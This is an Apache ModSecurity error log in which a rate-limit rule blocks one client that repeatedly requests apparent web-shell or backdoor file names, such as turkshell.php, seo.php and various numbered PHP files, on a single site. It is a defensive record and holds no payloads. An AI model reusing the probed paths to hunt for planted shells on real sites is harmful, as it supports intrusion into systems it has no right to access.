[Thu Apr 09 18:32:50.454734 2026] [:error] [pid 20837:tid 20844] [client 20.215.65.153:65176] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adeAUvSL71FHZkjrGzPK8wAAAYU"]
[Thu Apr 09 18:32:50.968477 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:64667] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adeAUjXObuzEuw8mNJvzrAAAAQ8"]
[Thu Apr 09 18:32:51.482233 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:64058] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adeAUzXObuzEuw8mNJvzsAAAAQc"]
[Thu Apr 09 18:32:52.002739 2026] [:error] [pid 18477:tid 18481] [client 20.215.65.153:65090] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adeAVMDe826HlFeoLPJ5wQAAAUI"]
[Thu Apr 09 18:32:52.536377 2026] [:error] [pid 24515:tid 24532] [client 20.215.65.153:65151] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adeAVK1OMnvM2fMnB1N73gAAAA0"]
[Thu Apr 09 18:32:53.054845 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:64625] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adeAVTXObuzEuw8mNJvzsgAAARc"]
[Thu Apr 09 18:32:53.587600 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:64032] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adeAVTXObuzEuw8mNJvzswAAAQU"]
[Thu Apr 09 18:32:54.128450 2026] [:error] [pid 24515:tid 24535] [client 20.215.65.153:64647] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adeAVq1OMnvM2fMnB1N74QAAABA"]
[Thu Apr 09 18:32:54.645706 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:65208] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adeAVjXObuzEuw8mNJvztQAAAQQ"]
[Thu Apr 09 18:32:55.178183 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:65190] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adeAVzXObuzEuw8mNJvztgAAAQI"]
[Thu Apr 09 18:32:55.710595 2026] [:error] [pid 24517:tid 24581] [client 20.215.65.153:64000] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adeAV3boYEn2ZFM_PS9xVwAAAIc"]
[Thu Apr 09 18:32:56.234098 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:64628] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adeAWDXObuzEuw8mNJvzugAAARM"]
[Thu Apr 09 18:32:56.745588 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:64620] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adeAWDXObuzEuw8mNJvzuwAAAQ8"]
[Thu Apr 09 18:32:57.259731 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:64682] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adeAWTXObuzEuw8mNJvzvAAAARA"]
[Thu Apr 09 18:32:57.779942 2026] [:error] [pid 18477:tid 18499] [client 20.215.65.153:65162] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adeAWcDe826HlFeoLPJ5wwAAAVQ"]
[Thu Apr 09 18:32:58.319402 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:63961] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adeAWsDe826HlFeoLPJ5xQAAAU0"]
[Thu Apr 09 18:32:58.832988 2026] [:error] [pid 24517:tid 24591] [client 20.215.65.153:64012] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adeAWnboYEn2ZFM_PS9xWQAAAJE"]
[Thu Apr 09 18:32:59.362824 2026] [:error] [pid 24517:tid 24585] [client 20.215.65.153:64042] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adeAW3boYEn2ZFM_PS9xWgAAAIs"]
[Thu Apr 09 18:32:59.886462 2026] [:error] [pid 24927:tid 24950] [client 20.215.65.153:64651] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adeAWzXObuzEuw8mNJvzvwAAARQ"]
[Thu Apr 09 18:33:00.400291 2026] [:error] [pid 18477:tid 18495] [client 20.215.65.153:64597] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adeAXMDe826HlFeoLPJ5yAAAAVA"]
[Thu Apr 09 18:33:00.939892 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:63938] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adeAXDXObuzEuw8mNJvzwQAAAQc"]
[Thu Apr 09 18:33:01.470111 2026] [:error] [pid 20837:tid 20855] [client 20.215.65.153:65111] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adeAXfSL71FHZkjrGzPK-gAAAZA"]
[Thu Apr 09 18:33:01.997088 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:64040] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adeAXfSL71FHZkjrGzPK-wAAAY0"]
[Thu Apr 09 18:33:02.546540 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:65180] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adeAXvSL71FHZkjrGzPK_QAAAZc"]
[Thu Apr 09 18:33:03.062182 2026] [:error] [pid 24516:tid 24562] [client 20.215.65.153:64609] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adeAX9hW7vSS-UkeWCUfDAAAAE8"]
[Thu Apr 09 18:33:03.586013 2026] [:error] [pid 24516:tid 24554] [client 20.215.65.153:63294] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adeAX9hW7vSS-UkeWCUfDQAAAEc"]
[Thu Apr 09 18:33:04.238756 2026] [:error] [pid 18477:tid 18491] [client 20.215.65.153:65192] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adeAYMDe826HlFeoLPJ50QAAAUw"]
[Thu Apr 09 18:33:04.782877 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63940] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adeAYMDe826HlFeoLPJ50wAAAUU"]
[Thu Apr 09 18:33:05.309475 2026] [:error] [pid 24517:tid 24588] [client 20.215.65.153:65110] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adeAYXboYEn2ZFM_PS9xXQAAAI4"]
[Thu Apr 09 18:33:05.842287 2026] [:error] [pid 20837:tid 20851] [client 20.215.65.153:65126] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adeAYfSL71FHZkjrGzPLAQAAAYw"]
[Thu Apr 09 18:33:06.362954 2026] [:error] [pid 20837:tid 20853] [client 20.215.65.153:65161] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adeAYvSL71FHZkjrGzPLAwAAAY4"]
[Thu Apr 09 18:33:06.882280 2026] [:error] [pid 20837:tid 20844] [client 20.215.65.153:64692] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adeAYvSL71FHZkjrGzPLBgAAAYU"]
[Thu Apr 09 18:33:07.400727 2026] [:error] [pid 24516:tid 24557] [client 20.215.65.153:64024] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adeAY9hW7vSS-UkeWCUfDwAAAEo"]
[Thu Apr 09 18:33:07.922373 2026] [:error] [pid 20837:tid 20846] [client 20.215.65.153:64614] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adeAY_SL71FHZkjrGzPLBwAAAYc"]
[Thu Apr 09 18:33:08.458120 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:64622] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adeAZK1OMnvM2fMnB1N76QAAAAc"]
[Thu Apr 09 18:33:08.976589 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:64590] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adeAZMDe826HlFeoLPJ53AAAAVE"]
[Thu Apr 09 18:33:09.523505 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:65129] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adeAZTXObuzEuw8mNJvzwwAAAQo"]
[Thu Apr 09 18:33:10.046019 2026] [:error] [pid 24517:tid 24589] [client 20.215.65.153:64061] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adeAZnboYEn2ZFM_PS9xXwAAAI8"]
[Thu Apr 09 18:33:10.584621 2026] [:error] [pid 24515:tid 24525] [client 20.215.65.153:64600] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adeAZq1OMnvM2fMnB1N77AAAAAY"]
[Thu Apr 09 18:33:11.128209 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:65163] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "adeAZzXObuzEuw8mNJvzxQAAAQQ"]
[Thu Apr 09 18:33:11.678542 2026] [:error] [pid 24517:tid 24596] [client 20.215.65.153:65165] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "adeAZ3boYEn2ZFM_PS9xYAAAAJY"]
[Thu Apr 09 18:33:12.213693 2026] [:error] [pid 24517:tid 24590] [client 20.215.65.153:64653] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "adeAaHboYEn2ZFM_PS9xYgAAAJA"]
[Thu Apr 09 18:33:12.754462 2026] [:error] [pid 24517:tid 24582] [client 20.215.65.153:65210] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "adeAaHboYEn2ZFM_PS9xYwAAAIg"]
[Thu Apr 09 18:33:13.283653 2026] [:error] [pid 24517:tid 24579] [client 20.215.65.153:64630] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adeAaXboYEn2ZFM_PS9xZwAAAIU"]
[Thu Apr 09 18:33:13.850429 2026] [:error] [pid 24517:tid 24581] [client 20.215.65.153:63948] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adeAaXboYEn2ZFM_PS9xaQAAAIc"]
[Thu Apr 09 18:33:14.362387 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:64611] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adeAasDe826HlFeoLPJ53wAAAUM"]
[Thu Apr 09 18:33:14.959879 2026] [:error] [pid 18477:tid 18493] [client 20.215.65.153:65186] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adeAasDe826HlFeoLPJ54QAAAU4"]
[Thu Apr 09 18:33:15.567836 2026] [:error] [pid 18477:tid 18479] [client 20.215.65.153:64060] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adeAa8De826HlFeoLPJ54gAAAUA"]
[Thu Apr 09 18:33:16.146123 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:65088] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adeAbDXObuzEuw8mNJvzxgAAAQI"]
[Thu Apr 09 18:33:16.722930 2026] [:error] [pid 18477:tid 18485] [client 20.215.65.153:65092] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adeAbMDe826HlFeoLPJ54wAAAUY"]
[Thu Apr 09 18:33:17.418583 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:64693] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adeAbTXObuzEuw8mNJvzywAAAQs"]
[Thu Apr 09 18:33:17.962387 2026] [:error] [pid 24624:tid 24640] [client 20.215.65.153:64676] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adeAbe4Jn-WvK1ZBTvi4CgAAAM4"]
[Thu Apr 09 18:33:18.870581 2026] [:error] [pid 24624:tid 24632] [client 20.215.65.153:63999] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adeAbu4Jn-WvK1ZBTvi4DQAAAMY"]
[Thu Apr 09 18:33:19.463541 2026] [:error] [pid 24927:tid 24943] [client 20.215.65.153:63990] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adeAbzXObuzEuw8mNJvz0AAAAQ0"]
[Thu Apr 09 18:33:19.993775 2026] [:error] [pid 24927:tid 24950] [client 20.215.65.153:65102] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adeAbzXObuzEuw8mNJvz0gAAARQ"]
[Thu Apr 09 18:33:20.515793 2026] [:error] [pid 18477:tid 18491] [client 20.215.65.153:64005] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adeAcMDe826HlFeoLPJ55AAAAUw"]
